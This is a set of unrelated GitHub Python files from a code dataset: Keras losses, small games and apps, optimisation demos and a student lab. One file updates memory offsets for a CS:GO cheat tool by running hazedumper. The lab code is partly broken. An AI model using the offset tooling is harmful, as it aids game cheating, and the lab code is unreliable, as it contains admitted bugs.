tf.boolean_mask(raw_loss, mask_)\n masked_loss = tf.cond(condition,\n lambda : masked_loss,\n lambda : tf.Variable([0.0], dtype=tf.float32))\n loss_ = ww * tf.reduce_mean(masked_loss)\n tot_loss.append(loss_)\n\n rescale = (tf.cast(tf.reduce_sum(npixels), tf.float32) / \n tf.reduce_sum([tf.cast(nn, tf.float32)*ww for nn,ww in zip(npixels, weights)])\n )\n tot_loss = [ls*rescale for ls in (tot_loss)]\n tot_loss = tf.reduce_sum(tot_loss)\n return tot_loss\n\n\ndef sparse_softmax_cross_entropy_with_logits(y_true, logits, alpha=0.1):\n input_shape = y_true.shape\n output_shape=[x.value for x in input_shape[:-1]]\n y_true = Lambda(lambda x: x[:,:,:,0], output_shape=output_shape)(y_true)\n y_true = tf.cast(y_true, tf.int32)\n out = tf.nn.sparse_softmax_cross_entropy_with_logits(\n labels=y_true,\n logits=logits)\n print(\"loss shape\", out.shape)\n mask_bg = tf.equal(y_true,5)\n mask_fg = tf.cast( tf.logical_not(mask_bg), tf.float32)\n mask_bg = tf.cast( mask_bg, tf.float32)\n\n fg_c = tf.reduce_sum(mask_fg)\n bg_c = tf.reduce_sum(mask_bg)\n\n tot_c = fg_c+bg_c\n\n fg = mask_fg * (tot_c/fg_c)\n bg = mask_bg * (tot_c/bg_c)\n #ca = tf.logical_or(tf.equal(y_true,1),tf.equal(y_true,2) )\n #be = tf.logical_or(tf.equal(y_true,3),tf.equal(y_true,4) )\n #fgloss = tf.boolean_mask(out, fg)\n #print(\"fgloss shape\", fgloss.shape)\n #fgloss = tf.boolean_mask(out, fg)\n loss = alpha*out*bg + (1-alpha)*out*fg\n #bgloss = tf.boolean_mask(out, bg)\n #loss = alpha*tf.reduce_sum(bgloss) + (1-alpha)*tf.reduce_sum(fgloss)\n #print(\"loss shape\", out.shape)\n return loss\n\n\ndef sparse_accuracy(y_true, logits):\n y_true_ = tf.cast(y_true, tf.int64)[:,:,:,0]\n pred = tf.argmax(logits, axis=-1)\n match = tf.equal(y_true_, pred)\n match = tf.cast(match, tf.float32)\n return match\n\n\ndef sparse_accuracy_fg(y_true, logits, bgind = 5):\n match = sparse_accuracy(y_true, logits)\n \n y_true_ = tf.cast(y_true, tf.int64)[:,:,:,0]\n mask_bg = tf.equal(y_true_, bgind)\n mask_fg = tf.logical_not(mask_bg)\n \n masked_match = tf.boolean_mask(match, mask_fg)\n\n condition = tf.greater(tf.reduce_sum(tf.cast(mask_fg, tf.int64)), 0)\n masked_match = tf.cond(condition,\n lambda : masked_match,\n lambda : tf.Variable([0.0], dtype=tf.float32))\n \n \n mask_fg = tf.cast(mask_fg, tf.float32)\n return tf.reduce_mean(masked_match)\n\n\ndef sparse_accuracy_masscalc(y_true, logits, bgind = 5, normind=0):\n match = sparse_accuracy(y_true, logits)\n \n y_true_ = tf.cast(y_true, tf.int64)[:,:,:,0]\n mask_bg = tf.equal(y_true_, bgind) \n mask_norm = tf.equal(y_true_, normind)\n mask_bg = tf.logical_or(mask_bg, mask_norm)\n mask_fg = tf.logical_not(mask_bg)\n \n masked_match = tf.boolean_mask(match, mask_fg)\n\n condition = tf.greater(tf.reduce_sum(tf.cast(mask_fg, tf.int64)), 0)\n masked_match = tf.cond(condition,\n lambda : masked_match,\n lambda : tf.Variable([0.0], dtype=tf.float32))\n \n \n mask_fg = tf.cast(mask_fg, tf.float32)\n return tf.reduce_mean(masked_match)\n\n\n########################################33\n############################################################\ndef binary_PFA(y_true, y_pred, threshold=K.variable(value=0.5)):\n \"\"\"PFA, prob false alert for binary classifier\"\"\"\n y_pred = K.cast(y_pred >= threshold, 'float32')\n # N = total number of negative labels\n N = K.sum(1 - y_true)\n # FP = total number of false alerts, alerts from the negative class labels\n FP = K.sum(y_pred - y_pred * y_true)\n return FP/N\n\n\ndef binary_PTA(y_true, y_pred, threshold=K.variable(value=0.5)):\n \"\"\"P_TA prob true alerts for binary classifier\"\"\"\n y_pred = K.cast(y_pred >= threshold, 'float32')\n # P = total number of positive labels\n P = K.sum(y_true)\n # TP = total number of correct alerts, alerts from the positive class labels\n TP = K.sum(y_pred * y_true)\n return TP/P\n\ndef auroc(y_true, y_pred):\n \"\"\"AUC for a binary classifier\n by @isaacgerg from https://github.com/fchollet/keras/issues/3230\n \"\"\"\n ptas = tf.stack([binary_PTA(y_true,y_pred,k) for k in np.linspace(0, 1, 1000)],axis=0)\n pfas = tf.stack([binary_PFA(y_true,y_pred,k) for k in np.linspace(0, 1, 1000)],axis=0)\n pfas = tf.concat([tf.ones((1,)) ,pfas],axis=0)\n binSizes = -(pfas[1:]-pfas[:-1])\n s = ptas*binSizes\n return K.sum(s, axis=0)\n\n\n############################################################\ndef static_vars(**kwargs):\n def decorate(func):\n for k in kwargs:\n setattr(func, k, kwargs[k])\n return func\n return decorate\n\n\"\"\"\nfrom tensorflow.python.ops import control_flow_ops\n@static_vars(stream_vars=None)\ndef auc(y_true, y_pred, curve='ROC'):\n value, update_op = tf.contrib.metrics.streaming_auc(\n y_pred, y_true, curve=curve, name='auc_'+curve.lower())\n\n auc_roc.stream_vars = [i for i in tf.local_variables() if i.name.split('/')[0] == 'auc_roc']\n return control_flow_ops.with_dependencies([update_op], value)\n\"\"\"\n\n############################################################\n# Losses per class\n############################################################\n\ndef acc_cl(y_true, y_pred, cl=0):\n if len(y_true.shape) == 1 or any(1==x for x in y_true.shape):\n print(\"sparse\")\n y_true = K.max(y_true, axis=-1)\n else: # one-hot case\n print(\"one-hot\")\n y_true = K.cast(K.argmax(y_true, axis=-1), K.floatx())\n y_pred = K.cast(K.argmax(y_pred, axis=-1), K.floatx())\n mask = K.equal(y_true, cl)\n mask = K.cast(mask, K.floatx())\n #y_true = tf.boolean_mask(y_true, mask)\n #y_pred = tf.boolean_mask(y_pred, mask)\n y_true = y_true * mask\n y_pred = y_pred * mask\n per_entry = K.cast(K.equal(y_true, y_pred),\n K.floatx())\n per_entry = per_entry * mask\n return K.switch(K.equal(0.0, K.sum(mask)),\n 0.0, K.sum(per_entry) / K.sum(mask))\n\ndef acc_0(y_true, y_pred):\n return acc_cl(y_true, y_pred, cl=0)\n\ndef acc_1(y_true, y_pred):\n return acc_cl(y_true, y_pred, cl=1)\n\ndef acc_2(y_true, y_pred):\n return acc_cl(y_true, y_pred, cl=2)\n\ndef acc_3(y_true, y_pred): return acc_cl(y_true, y_pred, cl=3)\n\ndef acc_4(y_true, y_pred): return acc_cl(y_true, y_pred, cl=4)\n\ndef acc_5(y_true, y_pred): return acc_cl(y_true, y_pred, cl=5)\n\nimport tensorflow as tf\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops.losses.losses import compute_weighted_loss\nimport keras\nfrom keras import backend as K\n\ndef pairwise_binary_logsigmoid(\n labels, predictions, weights=1.0, scope=None,\n loss_collection=ops.GraphKeys.LOSSES,\n #reduction=Reduction.SUM_BY_NONZERO_WEIGHTS\n ):\n\n with ops.name_scope(scope, \"absolute_difference\",\n (predictions, labels, weights)) as scope:\n mask_pos = tf.equal(labels, 1)\n mask_neg = tf.equal(labels, 0)\n\n yhat_pos = tf.boolean_mask(predictions, mask_pos)\n yhat_neg = tf.boolean_mask(predictions, mask_neg)\n\n yhat_diff = (tf.reshape(yhat_pos, (-1,1)) -\n tf.reshape(yhat_neg, (1,-1))\n )\n\n losses = tf.log_sigmoid(-yhat_diff)\n print(\"losses\",losses.dtype)\n loss = tf.reduce_sum(losses)\n #util.add_loss(loss, loss_collection)\n return loss\n \"\"\"\n return compute_weighted_loss(\n losses, weights, scope, loss_collection,\n #reduction=reduction\n )\n \"\"\"\n\n\ndef keras_tf_pairwise_binary_logsigmoid(\n labels, predictions, weights=1.0, scope=None,\n loss_collection=ops.GraphKeys.LOSSES,\n #reduction=Reduction.SUM_BY_NONZERO_WEIGHTS\n ):\n\n with ops.name_scope(scope, \"absolute_difference\",\n (predictions, labels, weights)) as scope:\n mask_pos = K.equal(labels, 1)\n mask_neg = K.equal(labels, 0)\n\n yhat_pos = K.tf.boolean_mask(predictions, mask_pos)\n yhat_neg = K.tf.boolean_mask(predictions, mask_neg)\n\n score_diff = (K.reshape(yhat_pos, (-1,1)) -\n K.reshape(yhat_neg, (1,-1))\n )\n\n #losses = K.tf.log_sigmoid(-yhat_diff)\n losses = -K.softplus(score_diff)\n print(\"losses\",losses.dtype)\n return K.sum(losses*weights) #K.tf.reduce_sum(losses)\n\n\n\n","repo_name":"DSLituiev/kerastrainutils","sub_path":"losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":11570,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30127875101","text":"import turtle as t\n\nFONT = (\"Courier\", 24, \"normal\")\nSCORE_POSITION = (-270, 250)\n\n\nclass Scoreboard(t.Turtle):\n def __init__(self):\n super().__init__()\n self.penup()\n self.hideturtle()\n self.color(\"Black\")\n self.goto(SCORE_POSITION)\n self.score = 0\n self.update_score()\n\n def update_score(self):\n self.clear()\n self.write(arg=f\"Level: {self.score}\", align=\"left\", font=FONT)\n\n def increase_score(self):\n self.score += 1\n self.update_score()\n\n def game_over(self):\n self.goto(0, 0)\n self.write(arg=\"GAME OVER!\", align=\"center\", font=FONT)\n","repo_name":"LintaoC/udemy_100DaysOfCode_python","sub_path":"Day 023 - Intermediate - The Turtle Crossing Capstone Project/scoreboard.py","file_name":"scoreboard.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70357669955","text":"import pandas as pd\nfrom config import *\nimport csv\n\ndef get_dict_from_csv(path):\n result_dict = {}\n with open(path) as f:\n reader = csv.reader(f, delimiter=\",\")\n count = 0\n for row in reader:\n if count != 0:\n result_dict[row[0]] = row\n count += 1\n return result_dict\n\ndef get_deltas():\n old_data = get_dict_from_csv(SOURCE_PATH)\n new_data = get_dict_from_csv(TARGET_PATH)\n\n deltas = []\n\n for key,val in new_data.items():\n if old_data.get(key) is None:\n deltas += val\n else:\n diff_exists = False\n for i in range(len(val)):\n if old_data[key][i] != val[i]:\n diff_exists = True\n break\n if diff_exists is True:\n deltas += val\n\n return deltas\n","repo_name":"austin-hess/ketl","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2306402209","text":"from django.db import models\nfrom django.core import validators\n\n\nclass Item(models.Model):\n\n name = models.CharField(\n verbose_name='名前',\n max_length=200,\n )\n age = models.IntegerField(\n verbose_name='年齢',\n validators=[validators.MinValueValidator(1)],\n blank=True,\n null=True,\n )\n \n ronbunt = models.CharField(\n verbose_name='論文タイトル',\n max_length=200,\n blank=True,\n null =True,\n )\n\n\n ronbun = models.URLField(\n verbose_name='論文',\n null = True,\n blank = True,\n )\n\n memo = models.TextField(\n verbose_name='概要',\n max_length=300,\n blank=True,\n null=True,\n )\n created_at = models.DateTimeField(\n verbose_name='登録日',\n auto_now_add=True\n )\n\n # 以下は管理サイト上の表示設定\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = 'アイテム'\n verbose_name_plural = 'アイテム'\n\n","repo_name":"nkbys0216/ElectroJ","sub_path":"EleJ/app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11110097025","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.shortcuts import render\nfrom django.conf import settings\nimport os\nimport clips\n\nfrom .models import Restaurant, Review\n\n\n# Create your views here.\ndef home(request):\n return render(request, 'restuarant_app/home.html', {})\n\n\ndef details(request, restaurant_id):\n restaurant = Restaurant.objects.get(id=restaurant_id)\n reviews = Review.objects.filter(restaurant=restaurant)\n return render(request, 'restuarant_app/details.html', {\n 'restaurant': restaurant,\n 'reviews': reviews\n })\n\n\ndef suggestions(request):\n results = query_clips(request.POST)\n print(results)\n ids = []\n #prepare response.\n if results is not None:\n results = results.split(\"---\")\n for result in results:\n if len(result) > 0:\n ids.append(int(result.split(\",\")[0].encode('utf-8')))\n # get restaurants from DB.\n restaurants = Restaurant.objects.filter(restaurant_id__in=ids).order_by('restaurant_id')\n # import pdb; pdb.set_trace()\n return render(request, 'restuarant_app/suggestions.html', {\n 'restaurants': restaurants,\n })\n\n\ndef query_clips(data):\n if data['place'] == 'cbd':\n place = data['place'].upper()\n else:\n place = data['place'].capitalize()\n\n preference =\\\n \"\"\"\n (preferences (budget \"{0}\") \n (location \"{1}\") \n (cuisine \"{2}\") \n (experience \"{3}\") \n (has-delivery \"{4}\") \n (rating \"?\") \n (has-alcohol \"{5}\") \n (has-vegetarian \"{6}\"))\n \"\"\".format(\n data['price'].capitalize(),\n place,\n data['cuisine'].capitalize(),\n data['ambiance'].capitalize(),\n data['delivery'].upper(),\n data['alcohol'].upper(),\n data['vegetarian'].upper()\n ).encode('utf-8').lstrip().rstrip()\n # run clips\n clips.Clear()\n clips.BatchStar(settings.CLIPS_DIR + \"templates.clp\")\n clips.BatchStar(settings.CLIPS_DIR + \"rules.clp\")\n if os.path.isfile(settings.CLIPS_DIR + \"restaurants.clp\"):\n clips.BatchStar(settings.CLIPS_DIR + \"restaurants.clp\")\n clips.Reset()\n clips.Assert(preference)\n clips.Run()\n return clips.StdoutStream.Read()\n","repo_name":"Kyande/restaurant-selection","sub_path":"restuatant_selection_core/restuarant_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74025639235","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom databake.lib.plugins import common\n\n__version__ = '1.0.0'\n__author__ = 'Wojciech Biniek'\n__author_email__ = 'wojtek.biniek@gmail.com'\n__maintainer__ = 'Wojciech Biniek'\n__maintainer_email__ = 'wojtek.biniek@gmail.com'\n__plugin_name__ = 'Join'\n__input_pins__ = ('left_df', 'right_df')\n__output_pins__ = ('output_df',)\n__parameters__ = {\n 'on': {'type': object, 'default': None},\n 'how': {'type': str, 'default': 'inner'},\n 'sort': {'type': bool, 'default': False},\n 'left_on': {'type': object, 'default': None},\n 'right_on': {'type': object, 'default': None},\n 'left_index': {'type': bool, 'default': False},\n 'right_index': {'type': bool, 'default': False},\n 'suffixes': {'type': tuple, 'default': ('_left', '_right')},\n 'copy': {'type': bool, 'default': True},\n 'indicator': {'type': bool, 'default': False},\n 'validate': {'type': object, 'default': None}\n}\n\n\ndef run(**kwargs):\n input_pins, params = common.clean_data(__input_pins__, __parameters__, **kwargs)\n\n left_df = input_pins['left_df']\n right_df = input_pins['right_df']\n result = left_df.merge(right_df, **params)\n\n return {\n 'output_df': result\n }\n","repo_name":"biniow/databake","sub_path":"databake/lib/plugins/core/join.py","file_name":"join.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16240346657","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# 实例代码 6.4.1 ADMM算法求解Lasso模型\n\n# In[1]:\n\n\n#生成数据\nimport numpy as np\nimport random\nASize = (50, 100)\nXSize = 100\nA = np.random.normal(0, 1, ASize)\nX = np.zeros(XSize)\ne = np.random.normal(0, 0.1, 50)\nXIndex = random.sample(list(range(XSize)), 5) # 5 稀疏度\nfor xi in XIndex:\n X[xi] = np.random.randn()\nb = np.dot(A, X) + e\n#ADMM算法\nimport matplotlib.pyplot as plt\nimport numpy as np\nXSize = 100\nP_half = 0.01\nc = 0.005\nXk = np.zeros(XSize)\nZk = np.zeros(XSize)\nVk = np.zeros(XSize)\nX_opt_dst_steps = []\nX_dst_steps = []\nwhile True:\n Xk_new = np.dot(\n np.linalg.inv(np.dot(A.T, A) + c * np.eye(XSize, XSize)),\n c*Zk + Vk + np.dot(A.T, b)\n )\n # 软阈值算子\n Zk_new = np.zeros(XSize)\n for i in range(XSize):\n if Xk_new[i] - Vk[i] / c < - P_half / c:\n Zk_new[i] = Xk_new[i] - Vk[i] / c + P_half / c\n elif Xk_new[i] - Vk[i] / c > P_half / c:\n Zk_new[i] = Xk_new[i] - Vk[i] / c - P_half / c\n Vk_new = Vk + c * (Zk_new - Xk_new)\n X_dst_steps.append(np.linalg.norm(Xk_new - X, ord=2))\n X_opt_dst_steps.append(Xk_new)\n if np.linalg.norm(Xk_new - Xk, ord=2) < 1e-5:\n break\n else:\n Xk = Xk_new.copy()\n Zk = Zk_new.copy()\n Vk = Vk_new.copy()\nX_opt = X_opt_dst_steps[-1]\nfor i, data in enumerate(X_opt_dst_steps):\n X_opt_dst_steps[i] = np.linalg.norm(data - X_opt, ord=2)\nplt.title(\"Distance\")\nplt.plot(X_opt_dst_steps, label='X-opt-distance')\nplt.plot(X_dst_steps, label='X-real-distance')\nplt.legend()\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Isaac-QiXing/optimization-model-and-algorithm---based-on-python-implementation","sub_path":"resources/sec_6.4_交替方向乘子法/code/实例代码 6.4.1 ADMM算法求解Lasso模型.py","file_name":"实例代码 6.4.1 ADMM算法求解Lasso模型.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75221055874","text":"import sys\n\n\ndef run():\n n = int(input())\n arr = list(map(int, input().split()))\n # print(\"in \", arr)\n for i in range(n):\n if arr[i] == i + 1:\n continue\n j = arr.index(i + 1)\n # print(i, j)\n # print(arr[j:i - 1:-1])\n arr[i:j + 1] = arr[i:j + 1][::-1]\n break\n print(*arr)\n # return\n\n\ndef main():\n t = int(input())\n for _ in range(t):\n run()\n\n\nif __name__ == \"__main__\":\n # with open(\"_input.txt\", \"r\") as fin, open(\"_output.txt\", \"w\") as fout:\n # sys.stdin = fin\n # sys.stdout = fout\n # main()\n main()\n","repo_name":"HassnHamada/CP-Solutions","sub_path":"1638A.py","file_name":"1638A.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11678849037","text":"# -*- coding: utf-8 -*-\n\n'''\nExam - Q2 - Alireza Sadeghi Nasab\n1400/3/30\n'''\n\n# imports\nimport sys\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n################################################################################\n\ndef load_image(path, is_grayscale=False):\n if is_grayscale:\n return cv2.imread(path, cv2.IMREAD_GRAYSCALE)\n else:\n return cv2.imread(path)\n\ndef is_not_loaded_properly(image):\n if (image is None) or (image.size == 0):\n return True\n else:\n return False\n\ndef is_grayscale(image):\n dimensions = image.shape\n if len(dimensions) < 3:\n return True\n if len(dimensions) == 3:\n return False\n\ndef skin_detector_hsv(bgr_image, lower_hsv, upper_hsv):\n hsv_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2HSV)\n skin_region = cv2.inRange(hsv_image, lower_hsv, upper_hsv)\n return skin_region\n\ndef display_multiple_img(images, rows=1, cols=1):\n figure, ax = plt.subplots(nrows=rows, ncols=cols)\n for ind,title in enumerate(images):\n if is_grayscale(images[title]): \n ax.ravel()[ind].imshow(images[title], cmap=plt.get_cmap('gray'))\n else:\n ax.ravel()[ind].imshow(images[title])\n ax.ravel()[ind].set_title(title)\n ax.ravel()[ind].set_axis_off()\n plt.tight_layout()\n plt.show()\n\n################################################################################\n\nif __name__ == \"__main__\":\n\n if len(sys.argv) < 2:\n print('invalid input')\n sys.exit()\n else:\n image_addr = sys.argv[1]\n\n image = load_image(image_addr, is_grayscale=False)\n\n if is_not_loaded_properly(image):\n print('image not loaded properly ... exiting program')\n sys.exit()\n\n lower_hsv = np.array([0, 50, 0], dtype='uint8')\n upper_hsv = np.array([120, 150, 255], dtype='uint8')\n\n detected_skin = skin_detector_hsv(image, lower_hsv, upper_hsv)\n result = cv2.cvtColor(detected_skin, cv2.COLOR_GRAY2BGR)\n\n images = {\n 'original': image,\n 'skin_segmented': result\n }\n\n display_multiple_img(images, 1, 2)","repo_name":"AlirezaSN/ImageProcessing","sub_path":"exam_3_q2.py","file_name":"exam_3_q2.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3182718128","text":"import os\r\nimport subprocess\r\nimport json\r\nimport sys\r\n\r\nimport requests\r\n\r\noffsets_file = \"Offsets/offsets.py\"\r\nfiles_to_delete = [\"csgo.hpp\", \"csgo.cs\", \"csgo.json\", \"csgo.min.json\", \"csgo.toml\",\r\n \"csgo.vb\", \"csgo.yaml\", \"hazedumper.log\"]\r\n\r\ndef addOffsetsFolderToPath():\r\n sys.path.append(f\"{os.getcwd()}\\\\Offsets\\\\hazedumper-v2.4.1.exe\")\r\n\r\n\r\ndef updateOffsets():\r\n try:\r\n\r\n link_to_config_file = \"https://raw.githubusercontent.com/frk1/hazedumper/master/config.json\"\r\n response = requests.get(link_to_config_file)\r\n\r\n with open(\"Offsets/config.json\", \"w\") as f:\r\n f.write(response.text)\r\n\r\n subprocess.call(f\"Offsets/hazedumper-v2.4.1.exe\")\r\n\r\n with open(\"csgo.json\") as file:\r\n json_data = json.load(file)\r\n signatures = json_data[\"signatures\"]\r\n netvars = json_data[\"netvars\"]\r\n\r\n with open(offsets_file, \"w\") as file:\r\n file.write(\"\")\r\n\r\n with open(offsets_file, \"a\") as file:\r\n for i in signatures:\r\n file.write(\"{} = {}\\n\".format(i, hex(signatures[i])))\r\n\r\n for i in netvars:\r\n file.write(\"{} = {}\\n\".format(i, hex(netvars[i])))\r\n\r\n for _ in files_to_delete:\r\n _ = os.path.join(os.getcwd(), _)\r\n if os.path.isfile(_):\r\n os.remove(_)\r\n\r\n return True\r\n\r\n except Exception as _ex:\r\n return \"ERROR\", _ex\r\n","repo_name":"Zickam/Future","sub_path":"Offsets/Updater.py","file_name":"Updater.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11697205729","text":"# https://www.acmicpc.net/problem/2166\n# 다각형의 면적\n\nn = int(input())\npoints = []\nfor _ in range(n):\n points.append(list(map(int, input().split())))\n\n\ndef ccw_term(p1, p2, p3):\n x1, y1 = p1\n x2, y2 = p2\n x3, y3 = p3\n return x1 * y2 + x2 * y3 + x3 * y1 - (x2 * y1 + x3 * y2 + x1 * y3)\n\n\nres = 0\nfor i in range(1, n - 1):\n res += ccw_term(points[0], points[i], points[i + 1])\n\nprint(0.5 * abs(res))\n","repo_name":"harryjhnam/CodingInterview","sub_path":"BOJ/2166.py","file_name":"2166.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40356766876","text":"import numpy as np\nimport requests\nr = requests.post(\n \"https://script.google.com/macros/s/AKfycby0gLxnDXDMWR8gtKOO1IL27co4zXdur6wIv72e3dbiKfN_YFE/exec\",\n data={\"id\": \"1YcOjDIErAepSYSUU4_SirkPdypfgSlKk\"}\n)\nf = open(r.json()[\"name\"], \"bw\")\nf.write(np.array(r.json()[\"result\"], dtype=np.uint8))\nf.close()\nprint(\"Filename = {0}, MimeType = {1}\".format(r.json()[\"name\"], r.json()[\"mimeType\"]))","repo_name":"furkhan67/codes","sub_path":"projects/python/gdrive_pull/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10137403720","text":"try:\n f=open(\"ref_name.pkl\",\"rb\")\n\n ref_dictt=pickle.load(f)\n f.close()\nexcept:\n ref_dictt={}\nref_dictt[ref_id]=name\n\n\nf=open(\"ref_name.pkl\",\"wb\")\npickle.dump(ref_dictt,f)\nf.close()\n\ntry:\n f=open(\"ref_embed.pkl\",\"rb\")\n\n embed_dictt=pickle.load(f)\n f.close()\nexcept:\n embed_dictt={}\n","repo_name":"Elbina-Paudel/Face-Recognition-","sub_path":"a pickle file and dictionary .py","file_name":"a pickle file and dictionary .py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"422108389","text":"# Created by william from lexueoude.com. 更多正版技术视频讲解,公众号:乐学FinTech\n\ndef make_prediction(input_row, coefficients):\n out_put_y_hat = coefficients[0]\n for i in range(len(input_row) - 1):\n out_put_y_hat += coefficients[i + 1] * input_row[i]\n return out_put_y_hat\n\n\ndef using_sgd_method_to_calculate_coefficients(training_dataset, learning_rate, n_times_epoch):\n coefficients = [9999 for i in range(len(training_dataset[0]))]\n for epoch in range(n_times_epoch):\n the_sum_of_error = 0\n for row in training_dataset:\n y_hat = make_prediction(row, coefficients)\n error = y_hat - row[-1]\n the_sum_of_error += error ** 2\n coefficients[0] = coefficients[0] - learning_rate * error\n for i in range(len(row) - 1):\n coefficients[i + 1] = coefficients[i + 1] - learning_rate * error * row[i]\n print(\"This is epoch 【%d】,the learning rate we are using is 【%.3f】,the error is 【%.3f】\" % (\n epoch, learning_rate, the_sum_of_error))\n return coefficients\n\n\nyour_training_dataset = [[1, 1], [2, 3], [4, 3], [3, 2], [5, 5]]\nyour_model_learning_rate = 0.001\nyour_n_epoch = 1000000\nyour_coefficients = using_sgd_method_to_calculate_coefficients(your_training_dataset, your_model_learning_rate,\n your_n_epoch)\n\nprint(your_coefficients)\n","repo_name":"williamjiamin/Pure_Python_for_DS_ML","sub_path":"9.随机梯度下降/2.sgd_method_to_calculate_coefficients.py","file_name":"2.sgd_method_to_calculate_coefficients.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"27689645778","text":" #################################################\n# Lab1\n#################################################\n\nimport cs112_f17_linter\nimport math\n\n#################################################\n# Helper functions\n#################################################\n\ndef almostEqual(d1, d2, epsilon=10**-7):\n # note: use math.isclose() outside 15-112 with Python version 3.5 or later\n return (abs(d2 - d1) < epsilon)\n\nimport decimal\ndef roundHalfUp(d):\n # Round to nearest with ties going away from zero.\n rounding = decimal.ROUND_HALF_UP\n # See other rounding options here:\n # https://docs.python.org/3/library/decimal.html#rounding-modes\n return int(decimal.Decimal(d).to_integral_value(rounding=rounding))\n\n#################################################\n# Lab1 problems\n#################################################\n\n\ndef nearestOdd(n):\n\n if n==0:\n return -1\n if isinstance(n, int) and n%2==0 and n>0:\n return n-1\n elif isinstance(n, int) and n%2==0 and n<0:\n return n-1\n \n elif isinstance(n, float) and (abs(n)//1)%2==0 and (n>0):\n return int(n) +1\n \n elif isinstance(n, float) and (abs(n)//1)%2==0 and n<0:\n #return abs(int(n))\n return int(n) -1\n \n else:\n return int(n)\n \n\n \ndef rectanglesOverlap(x1, y1, w1, h1, x2, y2, w2, h2):\n \n if x2>=x1 and x2<=x1+w1 and y2<= y1+h1 and y2>=y1:\n return True\n elif x1>=x2 and x1<=x2+w2 and y1<= y2+h2 and y1>=y2:\n return True\n else:\n return False\n#not working for all cases\n\ndef isPerfectSquare(n):\n\n if n==0 or n==1:\n return True\n if not isinstance(n, int):\n return False\n if n<0:\n return False\n if almostEqual(math.sqrt(n),int(math.sqrt(n))):\n return True\n else:\n return False\n\ndef getKthDigit(n, k):\n if not isinstance(n,int) or isinstance(n,float):\n return None\n elif n==0:\n return None\n n=abs(n)\n #if k <= 0:\n #return False\n if isinstance(n, int) and isinstance(k, int):\n for i in range(k):\n n//=10\n return n%10\n else:\n return False\n\ndef setKthDigit(n, k, d):\n lola = n==int(n) and k>0 and k==int(k)\n cola = d>=0 and d<=9\n if lola and cola:\n getKthDigit()\n return n-getKthDigit*10\n\n else:\n return None\n\ndef colorBlender(rgb1, rgb2, midpoints, n):\n if n<7 or n>9:\n return None\n lola = isinstance(rgb1, int) and isinstance(rgb2, int)\n cola = isinstance(midpoints, int) and isinstance(n, int)\n mola = midpoints>0 and n>0\n if lola and cola and mola:\n w= rgb1-rgb2\n x= w/midpoints\n return rgb1 + n*x\n else:\n return None\n\n#################################################\n# Lab1 Test Functions\n################################################\n\ndef testNearestOdd():\n print('Testing nearestOdd()... ', end='')\n assert(nearestOdd(13) == 13)\n assert(nearestOdd(12.001) == 13)\n assert(nearestOdd(12) == 11)\n assert(nearestOdd(11.999) == 11)\n assert(nearestOdd(-13) == -13)\n assert(nearestOdd(-12.001) == -13)\n assert(nearestOdd(-12) == -13)\n assert(nearestOdd(-11.999) == -11)\n print('Passed.')\n\ndef testRectanglesOverlap():\n print('Testing rectanglesOverlap()...', end='')\n# assert(rectanglesOverlap(1, 1, 2, 2, 2, 2, 2, 2) == True)\n# assert(rectanglesOverlap(1, 1, 2, 2, -2, -2, 6, 6) == True)\n# assert(rectanglesOverlap(1, 1, 2, 2, 3, 3, 1, 1) == True)\n# assert(rectanglesOverlap(1, 1, 2, 2, 3.1, 3, 1, 1) == False)\n# assert(rectanglesOverlap(1, 1, 1, 1, 1.9, -1, 0.2, 1.9) == False)\n# assert(rectanglesOverlap(1, 1, 1, 1, 1.9, -1, 0.2, 2) == True)\n# assert(rectanglesOverlap(1, 1, 2, 2, 2, 2, 2, 6) == True)\n# assert(rectanglesOverlap(1, 1, 2, 2, 3,4,5,6) == False)\n# print('Passed.')\n\ndef testIsPerfectSquare():\n print('Testing isPerfectSquare()... ', end='')\n assert(isPerfectSquare(0) == True)\n assert(isPerfectSquare(1) == True)\n assert(isPerfectSquare(16) == True)\n assert(isPerfectSquare(1234**2) == True)\n assert(isPerfectSquare(15) == False)\n 